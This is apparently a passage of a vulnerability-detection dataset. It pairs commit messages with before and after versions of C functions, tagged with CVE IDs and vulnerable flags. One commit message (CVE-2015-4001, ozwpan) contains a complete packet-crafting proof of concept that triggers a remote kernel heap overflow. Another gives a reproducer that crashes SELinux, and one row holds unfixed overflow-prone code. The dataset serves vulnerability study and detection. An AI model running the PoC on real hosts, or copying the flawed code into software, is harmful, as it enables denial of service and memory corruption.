https://bugs.webkit.org/show_bug.cgi?id=32879
We don't need to call enchant if enable-spell-checking is false.
* webkit/webkitwebview.cpp:
(webkit_web_view_update_settings): Skip loading dictionaries when enable-spell-checking is false.
(webkit_web_view_settings_notify): Ditto.
git-svn-id: svn://svn.chromium.org/blink/trunk@87925 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
static GtkScrollablePolicy getHorizontalScrollPolicy(WebKitWebView* webView)
{
return webView->priv->horizontalScrollingPolicy;
}
|
static GtkScrollablePolicy getHorizontalScrollPolicy(WebKitWebView* webView)
{
return webView->priv->horizontalScrollingPolicy;
}
|
C
|
Chrome
| 0 |
CVE-2013-6763
|
https://www.cvedetails.com/cve/CVE-2013-6763/
|
CWE-119
|
https://github.com/torvalds/linux/commit/7314e613d5ff9f0934f7a0f74ed7973b903315d1
|
7314e613d5ff9f0934f7a0f74ed7973b903315d1
|
Fix a few incorrectly checked [io_]remap_pfn_range() calls
Nico Golde reports a few straggling uses of [io_]remap_pfn_range() that
really should use the vm_iomap_memory() helper. This trivially converts
two of them to the helper, and comments about why the third one really
needs to continue to use remap_pfn_range(), and adds the missing size
check.
Reported-by: Nico Golde <[email protected]>
Cc: [email protected]
Signed-off-by: Linus Torvalds <[email protected].
|
int __uio_register_device(struct module *owner,
struct device *parent,
struct uio_info *info)
{
struct uio_device *idev;
int ret = 0;
if (!parent || !info || !info->name || !info->version)
return -EINVAL;
info->uio_dev = NULL;
idev = kzalloc(sizeof(*idev), GFP_KERNEL);
if (!idev) {
ret = -ENOMEM;
goto err_kzalloc;
}
idev->owner = owner;
idev->info = info;
init_waitqueue_head(&idev->wait);
atomic_set(&idev->event, 0);
ret = uio_get_minor(idev);
if (ret)
goto err_get_minor;
idev->dev = device_create(&uio_class, parent,
MKDEV(uio_major, idev->minor), idev,
"uio%d", idev->minor);
if (IS_ERR(idev->dev)) {
printk(KERN_ERR "UIO: device register failed\n");
ret = PTR_ERR(idev->dev);
goto err_device_create;
}
ret = uio_dev_add_attributes(idev);
if (ret)
goto err_uio_dev_add_attributes;
info->uio_dev = idev;
if (info->irq && (info->irq != UIO_IRQ_CUSTOM)) {
ret = request_irq(info->irq, uio_interrupt,
info->irq_flags, info->name, idev);
if (ret)
goto err_request_irq;
}
return 0;
err_request_irq:
uio_dev_del_attributes(idev);
err_uio_dev_add_attributes:
device_destroy(&uio_class, MKDEV(uio_major, idev->minor));
err_device_create:
uio_free_minor(idev);
err_get_minor:
kfree(idev);
err_kzalloc:
return ret;
}
|
int __uio_register_device(struct module *owner,
struct device *parent,
struct uio_info *info)
{
struct uio_device *idev;
int ret = 0;
if (!parent || !info || !info->name || !info->version)
return -EINVAL;
info->uio_dev = NULL;
idev = kzalloc(sizeof(*idev), GFP_KERNEL);
if (!idev) {
ret = -ENOMEM;
goto err_kzalloc;
}
idev->owner = owner;
idev->info = info;
init_waitqueue_head(&idev->wait);
atomic_set(&idev->event, 0);
ret = uio_get_minor(idev);
if (ret)
goto err_get_minor;
idev->dev = device_create(&uio_class, parent,
MKDEV(uio_major, idev->minor), idev,
"uio%d", idev->minor);
if (IS_ERR(idev->dev)) {
printk(KERN_ERR "UIO: device register failed\n");
ret = PTR_ERR(idev->dev);
goto err_device_create;
}
ret = uio_dev_add_attributes(idev);
if (ret)
goto err_uio_dev_add_attributes;
info->uio_dev = idev;
if (info->irq && (info->irq != UIO_IRQ_CUSTOM)) {
ret = request_irq(info->irq, uio_interrupt,
info->irq_flags, info->name, idev);
if (ret)
goto err_request_irq;
}
return 0;
err_request_irq:
uio_dev_del_attributes(idev);
err_uio_dev_add_attributes:
device_destroy(&uio_class, MKDEV(uio_major, idev->minor));
err_device_create:
uio_free_minor(idev);
err_get_minor:
kfree(idev);
err_kzalloc:
return ret;
}
|
C
|
linux
| 0 |
CVE-2018-15908
|
https://www.cvedetails.com/cve/CVE-2018-15908/
| null |
http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=0d3901189f245232f0161addf215d7268c4d05a3
|
0d3901189f245232f0161addf215d7268c4d05a3
| null |
z_check_file_permissions(gs_memory_t *mem, const char *fname, const int len, const char *permission)
{
i_ctx_t *i_ctx_p = get_minst_from_memory(mem)->i_ctx_p;
gs_parsed_file_name_t pname;
const char *permitgroup = permission[0] == 'r' ? "PermitFileReading" : "PermitFileWriting";
int code = gs_parse_file_name(&pname, fname, len, imemory);
if (code < 0)
return code;
if (pname.iodev && i_ctx_p->LockFilePermissions
&& strcmp(pname.iodev->dname, "%pipe%") == 0) {
code = gs_note_error(gs_error_invalidfileaccess);
}
else {
code = check_file_permissions(i_ctx_p, pname.fname, pname.len, pname.iodev, permitgroup);
}
return code;
}
|
z_check_file_permissions(gs_memory_t *mem, const char *fname, const int len, const char *permission)
{
i_ctx_t *i_ctx_p = get_minst_from_memory(mem)->i_ctx_p;
gs_parsed_file_name_t pname;
const char *permitgroup = permission[0] == 'r' ? "PermitFileReading" : "PermitFileWriting";
int code = gs_parse_file_name(&pname, fname, len, imemory);
if (code < 0)
return code;
if (pname.iodev && i_ctx_p->LockFilePermissions
&& strcmp(pname.iodev->dname, "%pipe%") == 0) {
code = gs_note_error(gs_error_invalidfileaccess);
}
else {
code = check_file_permissions(i_ctx_p, pname.fname, pname.len, pname.iodev, permitgroup);
}
return code;
}
|
C
|
ghostscript
| 0 |
CVE-2018-14359
|
https://www.cvedetails.com/cve/CVE-2018-14359/
|
CWE-119
|
https://github.com/neomutt/neomutt/commit/6f163e07ae68654d7ac5268cbb7565f6df79ad85
|
6f163e07ae68654d7ac5268cbb7565f6df79ad85
|
Check outbuf length in mutt_to_base64()
The obuf can be overflowed in auth_cram.c, and possibly auth_gss.c.
Thanks to Jeriko One for the bug report.
|
enum ImapAuthRes imap_auth_cram_md5(struct ImapData *idata, const char *method)
{
char ibuf[LONG_STRING * 2], obuf[LONG_STRING];
unsigned char hmac_response[MD5_DIGEST_LEN];
int len;
int rc;
if (!mutt_bit_isset(idata->capabilities, ACRAM_MD5))
return IMAP_AUTH_UNAVAIL;
mutt_message(_("Authenticating (CRAM-MD5)..."));
/* get auth info */
if (mutt_account_getlogin(&idata->conn->account) < 0)
return IMAP_AUTH_FAILURE;
if (mutt_account_getpass(&idata->conn->account) < 0)
return IMAP_AUTH_FAILURE;
imap_cmd_start(idata, "AUTHENTICATE CRAM-MD5");
/* From RFC2195:
* The data encoded in the first ready response contains a presumptively
* arbitrary string of random digits, a timestamp, and the fully-qualified
* primary host name of the server. The syntax of the unencoded form must
* correspond to that of an RFC822 'msg-id' [RFC822] as described in [POP3].
*/
do
rc = imap_cmd_step(idata);
while (rc == IMAP_CMD_CONTINUE);
if (rc != IMAP_CMD_RESPOND)
{
mutt_debug(1, "Invalid response from server: %s\n", ibuf);
goto bail;
}
len = mutt_b64_decode(obuf, idata->buf + 2, sizeof(obuf));
if (len == -1)
{
mutt_debug(1, "Error decoding base64 response.\n");
goto bail;
}
obuf[len] = '\0';
mutt_debug(2, "CRAM challenge: %s\n", obuf);
/* The client makes note of the data and then responds with a string
* consisting of the user name, a space, and a 'digest'. The latter is
* computed by applying the keyed MD5 algorithm from [KEYED-MD5] where the
* key is a shared secret and the digested text is the timestamp (including
* angle-brackets).
*
* Note: The user name shouldn't be quoted. Since the digest can't contain
* spaces, there is no ambiguity. Some servers get this wrong, we'll work
* around them when the bug report comes in. Until then, we'll remain
* blissfully RFC-compliant.
*/
hmac_md5(idata->conn->account.pass, obuf, hmac_response);
/* dubious optimisation I saw elsewhere: make the whole string in one call */
int off = snprintf(obuf, sizeof(obuf), "%s ", idata->conn->account.user);
mutt_md5_toascii(hmac_response, obuf + off);
mutt_debug(2, "CRAM response: %s\n", obuf);
/* ibuf must be long enough to store the base64 encoding of obuf,
* plus the additional debris */
mutt_b64_encode(ibuf, obuf, strlen(obuf), sizeof(ibuf) - 2);
mutt_str_strcat(ibuf, sizeof(ibuf), "\r\n");
mutt_socket_send(idata->conn, ibuf);
do
rc = imap_cmd_step(idata);
while (rc == IMAP_CMD_CONTINUE);
if (rc != IMAP_CMD_OK)
{
mutt_debug(1, "Error receiving server response.\n");
goto bail;
}
if (imap_code(idata->buf))
return IMAP_AUTH_SUCCESS;
bail:
mutt_error(_("CRAM-MD5 authentication failed."));
return IMAP_AUTH_FAILURE;
}
|
enum ImapAuthRes imap_auth_cram_md5(struct ImapData *idata, const char *method)
{
char ibuf[LONG_STRING * 2], obuf[LONG_STRING];
unsigned char hmac_response[MD5_DIGEST_LEN];
int len;
int rc;
if (!mutt_bit_isset(idata->capabilities, ACRAM_MD5))
return IMAP_AUTH_UNAVAIL;
mutt_message(_("Authenticating (CRAM-MD5)..."));
/* get auth info */
if (mutt_account_getlogin(&idata->conn->account) < 0)
return IMAP_AUTH_FAILURE;
if (mutt_account_getpass(&idata->conn->account) < 0)
return IMAP_AUTH_FAILURE;
imap_cmd_start(idata, "AUTHENTICATE CRAM-MD5");
/* From RFC2195:
* The data encoded in the first ready response contains a presumptively
* arbitrary string of random digits, a timestamp, and the fully-qualified
* primary host name of the server. The syntax of the unencoded form must
* correspond to that of an RFC822 'msg-id' [RFC822] as described in [POP3].
*/
do
rc = imap_cmd_step(idata);
while (rc == IMAP_CMD_CONTINUE);
if (rc != IMAP_CMD_RESPOND)
{
mutt_debug(1, "Invalid response from server: %s\n", ibuf);
goto bail;
}
len = mutt_b64_decode(obuf, idata->buf + 2);
if (len == -1)
{
mutt_debug(1, "Error decoding base64 response.\n");
goto bail;
}
obuf[len] = '\0';
mutt_debug(2, "CRAM challenge: %s\n", obuf);
/* The client makes note of the data and then responds with a string
* consisting of the user name, a space, and a 'digest'. The latter is
* computed by applying the keyed MD5 algorithm from [KEYED-MD5] where the
* key is a shared secret and the digested text is the timestamp (including
* angle-brackets).
*
* Note: The user name shouldn't be quoted. Since the digest can't contain
* spaces, there is no ambiguity. Some servers get this wrong, we'll work
* around them when the bug report comes in. Until then, we'll remain
* blissfully RFC-compliant.
*/
hmac_md5(idata->conn->account.pass, obuf, hmac_response);
/* dubious optimisation I saw elsewhere: make the whole string in one call */
int off = snprintf(obuf, sizeof(obuf), "%s ", idata->conn->account.user);
mutt_md5_toascii(hmac_response, obuf + off);
mutt_debug(2, "CRAM response: %s\n", obuf);
/* ibuf must be long enough to store the base64 encoding of obuf,
* plus the additional debris */
mutt_b64_encode(ibuf, obuf, strlen(obuf), sizeof(ibuf) - 2);
mutt_str_strcat(ibuf, sizeof(ibuf), "\r\n");
mutt_socket_send(idata->conn, ibuf);
do
rc = imap_cmd_step(idata);
while (rc == IMAP_CMD_CONTINUE);
if (rc != IMAP_CMD_OK)
{
mutt_debug(1, "Error receiving server response.\n");
goto bail;
}
if (imap_code(idata->buf))
return IMAP_AUTH_SUCCESS;
bail:
mutt_error(_("CRAM-MD5 authentication failed."));
return IMAP_AUTH_FAILURE;
}
|
C
|
neomutt
| 1 |
CVE-2017-5550
|
https://www.cvedetails.com/cve/CVE-2017-5550/
|
CWE-200
|
https://github.com/torvalds/linux/commit/b9dc6f65bc5e232d1c05fe34b5daadc7e8bbf1fb
|
b9dc6f65bc5e232d1c05fe34b5daadc7e8bbf1fb
|
fix a fencepost error in pipe_advance()
The logics in pipe_advance() used to release all buffers past the new
position failed in cases when the number of buffers to release was equal
to pipe->buffers. If that happened, none of them had been released,
leaving pipe full. Worse, it was trivial to trigger and we end up with
pipe full of uninitialized pages. IOW, it's an infoleak.
Cc: [email protected] # v4.9
Reported-by: "Alan J. Wylie" <[email protected]>
Tested-by: "Alan J. Wylie" <[email protected]>
Signed-off-by: Al Viro <[email protected]>
|
void iov_iter_bvec(struct iov_iter *i, int direction,
const struct bio_vec *bvec, unsigned long nr_segs,
size_t count)
{
BUG_ON(!(direction & ITER_BVEC));
i->type = direction;
i->bvec = bvec;
i->nr_segs = nr_segs;
i->iov_offset = 0;
i->count = count;
}
|
void iov_iter_bvec(struct iov_iter *i, int direction,
const struct bio_vec *bvec, unsigned long nr_segs,
size_t count)
{
BUG_ON(!(direction & ITER_BVEC));
i->type = direction;
i->bvec = bvec;
i->nr_segs = nr_segs;
i->iov_offset = 0;
i->count = count;
}
|
C
|
linux
| 0 |
CVE-2017-8070
|
https://www.cvedetails.com/cve/CVE-2017-8070/
|
CWE-119
|
https://github.com/torvalds/linux/commit/2d6a0e9de03ee658a9adc3bfb2f0ca55dff1e478
|
2d6a0e9de03ee658a9adc3bfb2f0ca55dff1e478
|
catc: Use heap buffer for memory size test
Allocating USB buffers on the stack is not portable, and no longer
works on x86_64 (with VMAP_STACK enabled as per default).
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: Ben Hutchings <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
static netdev_tx_t catc_start_xmit(struct sk_buff *skb,
struct net_device *netdev)
{
struct catc *catc = netdev_priv(netdev);
unsigned long flags;
int r = 0;
char *tx_buf;
spin_lock_irqsave(&catc->tx_lock, flags);
catc->tx_ptr = (((catc->tx_ptr - 1) >> 6) + 1) << 6;
tx_buf = catc->tx_buf[catc->tx_idx] + catc->tx_ptr;
if (catc->is_f5u011)
*(__be16 *)tx_buf = cpu_to_be16(skb->len);
else
*(__le16 *)tx_buf = cpu_to_le16(skb->len);
skb_copy_from_linear_data(skb, tx_buf + 2, skb->len);
catc->tx_ptr += skb->len + 2;
if (!test_and_set_bit(TX_RUNNING, &catc->flags)) {
r = catc_tx_run(catc);
if (r < 0)
clear_bit(TX_RUNNING, &catc->flags);
}
if ((catc->is_f5u011 && catc->tx_ptr) ||
(catc->tx_ptr >= ((TX_MAX_BURST - 1) * (PKT_SZ + 2))))
netif_stop_queue(netdev);
spin_unlock_irqrestore(&catc->tx_lock, flags);
if (r >= 0) {
catc->netdev->stats.tx_bytes += skb->len;
catc->netdev->stats.tx_packets++;
}
dev_kfree_skb(skb);
return NETDEV_TX_OK;
}
|
static netdev_tx_t catc_start_xmit(struct sk_buff *skb,
struct net_device *netdev)
{
struct catc *catc = netdev_priv(netdev);
unsigned long flags;
int r = 0;
char *tx_buf;
spin_lock_irqsave(&catc->tx_lock, flags);
catc->tx_ptr = (((catc->tx_ptr - 1) >> 6) + 1) << 6;
tx_buf = catc->tx_buf[catc->tx_idx] + catc->tx_ptr;
if (catc->is_f5u011)
*(__be16 *)tx_buf = cpu_to_be16(skb->len);
else
*(__le16 *)tx_buf = cpu_to_le16(skb->len);
skb_copy_from_linear_data(skb, tx_buf + 2, skb->len);
catc->tx_ptr += skb->len + 2;
if (!test_and_set_bit(TX_RUNNING, &catc->flags)) {
r = catc_tx_run(catc);
if (r < 0)
clear_bit(TX_RUNNING, &catc->flags);
}
if ((catc->is_f5u011 && catc->tx_ptr) ||
(catc->tx_ptr >= ((TX_MAX_BURST - 1) * (PKT_SZ + 2))))
netif_stop_queue(netdev);
spin_unlock_irqrestore(&catc->tx_lock, flags);
if (r >= 0) {
catc->netdev->stats.tx_bytes += skb->len;
catc->netdev->stats.tx_packets++;
}
dev_kfree_skb(skb);
return NETDEV_TX_OK;
}
|
C
|
linux
| 0 |
CVE-2012-2875
|
https://www.cvedetails.com/cve/CVE-2012-2875/
| null |
https://github.com/chromium/chromium/commit/1266ba494530a267ec8a21442ea1b5cae94da4fb
|
1266ba494530a267ec8a21442ea1b5cae94da4fb
|
Introduce XGetImage() for GrabWindowSnapshot() in ChromeOS.
BUG=119492
TEST=manually done
Review URL: https://chromiumcodereview.appspot.com/10386124
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@137556 0039d316-1c4b-4281-b951-d872f2087c98
|
RootWindow::~RootWindow() {
if (compositor_lock_) {
draw_on_compositor_unlock_ = false;
compositor_lock_->CancelLock();
DCHECK(!compositor_lock_);
}
compositor_->RemoveObserver(this);
compositor_.reset();
host_.reset(NULL);
layer()->GetAnimator()->RemoveObserver(this);
}
|
RootWindow::~RootWindow() {
if (compositor_lock_) {
draw_on_compositor_unlock_ = false;
compositor_lock_->CancelLock();
DCHECK(!compositor_lock_);
}
compositor_->RemoveObserver(this);
compositor_.reset();
host_.reset(NULL);
layer()->GetAnimator()->RemoveObserver(this);
}
|
C
|
Chrome
| 0 |
CVE-2018-17294
|
https://www.cvedetails.com/cve/CVE-2018-17294/
|
CWE-125
|
https://github.com/liblouis/liblouis/commit/5e4089659bb49b3095fa541fa6387b4c40d7396e
|
5e4089659bb49b3095fa541fa6387b4c40d7396e
|
Fix a buffer overflow
Fixes #635
Thanks to HongxuChen for reporting it
|
checkAttr(const widechar c, const TranslationTableCharacterAttributes a, int m,
const TranslationTableHeader *table) {
static widechar prevc = 0;
static TranslationTableCharacterAttributes preva = 0;
if (c != prevc) {
preva = (findCharOrDots(c, m, table))->attributes;
prevc = c;
}
return ((preva & a) ? 1 : 0);
}
|
checkAttr(const widechar c, const TranslationTableCharacterAttributes a, int m,
const TranslationTableHeader *table) {
static widechar prevc = 0;
static TranslationTableCharacterAttributes preva = 0;
if (c != prevc) {
preva = (findCharOrDots(c, m, table))->attributes;
prevc = c;
}
return ((preva & a) ? 1 : 0);
}
|
C
|
liblouis
| 0 |
CVE-2014-1874
|
https://www.cvedetails.com/cve/CVE-2014-1874/
|
CWE-20
|
https://github.com/torvalds/linux/commit/2172fa709ab32ca60e86179dc67d0857be8e2c98
|
2172fa709ab32ca60e86179dc67d0857be8e2c98
|
SELinux: Fix kernel BUG on empty security contexts.
Setting an empty security context (length=0) on a file will
lead to incorrectly dereferencing the type and other fields
of the security context structure, yielding a kernel BUG.
As a zero-length security context is never valid, just reject
all such security contexts whether coming from userspace
via setxattr or coming from the filesystem upon a getxattr
request by SELinux.
Setting a security context value (empty or otherwise) unknown to
SELinux in the first place is only possible for a root process
(CAP_MAC_ADMIN), and, if running SELinux in enforcing mode, only
if the corresponding SELinux mac_admin permission is also granted
to the domain by policy. In Fedora policies, this is only allowed for
specific domains such as livecd for setting down security contexts
that are not defined in the build host policy.
Reproducer:
su
setenforce 0
touch foo
setfattr -n security.selinux foo
Caveat:
Relabeling or removing foo after doing the above may not be possible
without booting with SELinux disabled. Any subsequent access to foo
after doing the above will also trigger the BUG.
BUG output from Matthew Thode:
[ 473.893141] ------------[ cut here ]------------
[ 473.962110] kernel BUG at security/selinux/ss/services.c:654!
[ 473.995314] invalid opcode: 0000 [#6] SMP
[ 474.027196] Modules linked in:
[ 474.058118] CPU: 0 PID: 8138 Comm: ls Tainted: G D I
3.13.0-grsec #1
[ 474.116637] Hardware name: Supermicro X8ST3/X8ST3, BIOS 2.0
07/29/10
[ 474.149768] task: ffff8805f50cd010 ti: ffff8805f50cd488 task.ti:
ffff8805f50cd488
[ 474.183707] RIP: 0010:[<ffffffff814681c7>] [<ffffffff814681c7>]
context_struct_compute_av+0xce/0x308
[ 474.219954] RSP: 0018:ffff8805c0ac3c38 EFLAGS: 00010246
[ 474.252253] RAX: 0000000000000000 RBX: ffff8805c0ac3d94 RCX:
0000000000000100
[ 474.287018] RDX: ffff8805e8aac000 RSI: 00000000ffffffff RDI:
ffff8805e8aaa000
[ 474.321199] RBP: ffff8805c0ac3cb8 R08: 0000000000000010 R09:
0000000000000006
[ 474.357446] R10: 0000000000000000 R11: ffff8805c567a000 R12:
0000000000000006
[ 474.419191] R13: ffff8805c2b74e88 R14: 00000000000001da R15:
0000000000000000
[ 474.453816] FS: 00007f2e75220800(0000) GS:ffff88061fc00000(0000)
knlGS:0000000000000000
[ 474.489254] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 474.522215] CR2: 00007f2e74716090 CR3: 00000005c085e000 CR4:
00000000000207f0
[ 474.556058] Stack:
[ 474.584325] ffff8805c0ac3c98 ffffffff811b549b ffff8805c0ac3c98
ffff8805f1190a40
[ 474.618913] ffff8805a6202f08 ffff8805c2b74e88 00068800d0464990
ffff8805e8aac860
[ 474.653955] ffff8805c0ac3cb8 000700068113833a ffff880606c75060
ffff8805c0ac3d94
[ 474.690461] Call Trace:
[ 474.723779] [<ffffffff811b549b>] ? lookup_fast+0x1cd/0x22a
[ 474.778049] [<ffffffff81468824>] security_compute_av+0xf4/0x20b
[ 474.811398] [<ffffffff8196f419>] avc_compute_av+0x2a/0x179
[ 474.843813] [<ffffffff8145727b>] avc_has_perm+0x45/0xf4
[ 474.875694] [<ffffffff81457d0e>] inode_has_perm+0x2a/0x31
[ 474.907370] [<ffffffff81457e76>] selinux_inode_getattr+0x3c/0x3e
[ 474.938726] [<ffffffff81455cf6>] security_inode_getattr+0x1b/0x22
[ 474.970036] [<ffffffff811b057d>] vfs_getattr+0x19/0x2d
[ 475.000618] [<ffffffff811b05e5>] vfs_fstatat+0x54/0x91
[ 475.030402] [<ffffffff811b063b>] vfs_lstat+0x19/0x1b
[ 475.061097] [<ffffffff811b077e>] SyS_newlstat+0x15/0x30
[ 475.094595] [<ffffffff8113c5c1>] ? __audit_syscall_entry+0xa1/0xc3
[ 475.148405] [<ffffffff8197791e>] system_call_fastpath+0x16/0x1b
[ 475.179201] Code: 00 48 85 c0 48 89 45 b8 75 02 0f 0b 48 8b 45 a0 48
8b 3d 45 d0 b6 00 8b 40 08 89 c6 ff ce e8 d1 b0 06 00 48 85 c0 49 89 c7
75 02 <0f> 0b 48 8b 45 b8 4c 8b 28 eb 1e 49 8d 7d 08 be 80 01 00 00 e8
[ 475.255884] RIP [<ffffffff814681c7>]
context_struct_compute_av+0xce/0x308
[ 475.296120] RSP <ffff8805c0ac3c38>
[ 475.328734] ---[ end trace f076482e9d754adc ]---
Reported-by: Matthew Thode <[email protected]>
Signed-off-by: Stephen Smalley <[email protected]>
Cc: [email protected]
Signed-off-by: Paul Moore <[email protected]>
|
static int get_permissions_callback(void *k, void *d, void *args)
{
struct perm_datum *datum = d;
char *name = k, **perms = args;
int value = datum->value - 1;
perms[value] = kstrdup(name, GFP_ATOMIC);
if (!perms[value])
return -ENOMEM;
return 0;
}
|
static int get_permissions_callback(void *k, void *d, void *args)
{
struct perm_datum *datum = d;
char *name = k, **perms = args;
int value = datum->value - 1;
perms[value] = kstrdup(name, GFP_ATOMIC);
if (!perms[value])
return -ENOMEM;
return 0;
}
|
C
|
linux
| 0 |
CVE-2016-3745
|
https://www.cvedetails.com/cve/CVE-2016-3745/
|
CWE-119
|
https://android.googlesource.com/platform/hardware/qcom/audio/+/073a80800f341325932c66818ce4302b312909a4
|
073a80800f341325932c66818ce4302b312909a4
|
DO NOT MERGE Fix AudioEffect reply overflow
Bug: 28173666
Change-Id: I055af37a721b20c5da0f1ec4b02f630dcd5aee02
|
static uint32_t uuid_to_id(const effect_uuid_t * uuid)
{
size_t i;
for (i = 0; i < NUM_ID; i++)
if (memcmp(uuid, uuid_to_id_table[i], sizeof(*uuid)) == 0)
break;
return i;
}
|
static uint32_t uuid_to_id(const effect_uuid_t * uuid)
{
size_t i;
for (i = 0; i < NUM_ID; i++)
if (memcmp(uuid, uuid_to_id_table[i], sizeof(*uuid)) == 0)
break;
return i;
}
|
C
|
Android
| 0 |
CVE-2015-4001
|
https://www.cvedetails.com/cve/CVE-2015-4001/
|
CWE-189
|
https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
|
ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
Acked-by: Dan Carpenter <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
|
static void oz_complete_urb(struct usb_hcd *hcd, struct urb *urb,
int status)
{
struct oz_hcd *ozhcd = oz_hcd_private(hcd);
unsigned long irq_state;
struct oz_urb_link *cancel_urbl;
spin_lock_irqsave(&g_tasklet_lock, irq_state);
usb_hcd_unlink_urb_from_ep(hcd, urb);
/* Clear hcpriv which will prevent it being put in the cancel list
* in the event that an attempt is made to cancel it.
*/
urb->hcpriv = NULL;
/* Walk the cancel list in case the urb is already sitting there.
* Since we process the cancel list in a tasklet rather than in
* the dequeue function this could happen.
*/
cancel_urbl = oz_uncancel_urb(ozhcd, urb);
/* Note: we release lock but do not enable local irqs.
* It appears that usb_hcd_giveback_urb() expects irqs to be disabled,
* or at least other host controllers disable interrupts at this point
* so we do the same. We must, however, release the lock otherwise a
* deadlock will occur if an urb is submitted to our driver in the urb
* completion function. Because we disable interrupts it is possible
* that the urb_enqueue function can be called with them disabled.
*/
spin_unlock(&g_tasklet_lock);
if (oz_forget_urb(urb)) {
oz_dbg(ON, "ERROR Unknown URB %p\n", urb);
} else {
atomic_dec(&g_pending_urbs);
usb_hcd_giveback_urb(hcd, urb, status);
}
spin_lock(&g_tasklet_lock);
spin_unlock_irqrestore(&g_tasklet_lock, irq_state);
oz_free_urb_link(cancel_urbl);
}
|
static void oz_complete_urb(struct usb_hcd *hcd, struct urb *urb,
int status)
{
struct oz_hcd *ozhcd = oz_hcd_private(hcd);
unsigned long irq_state;
struct oz_urb_link *cancel_urbl;
spin_lock_irqsave(&g_tasklet_lock, irq_state);
usb_hcd_unlink_urb_from_ep(hcd, urb);
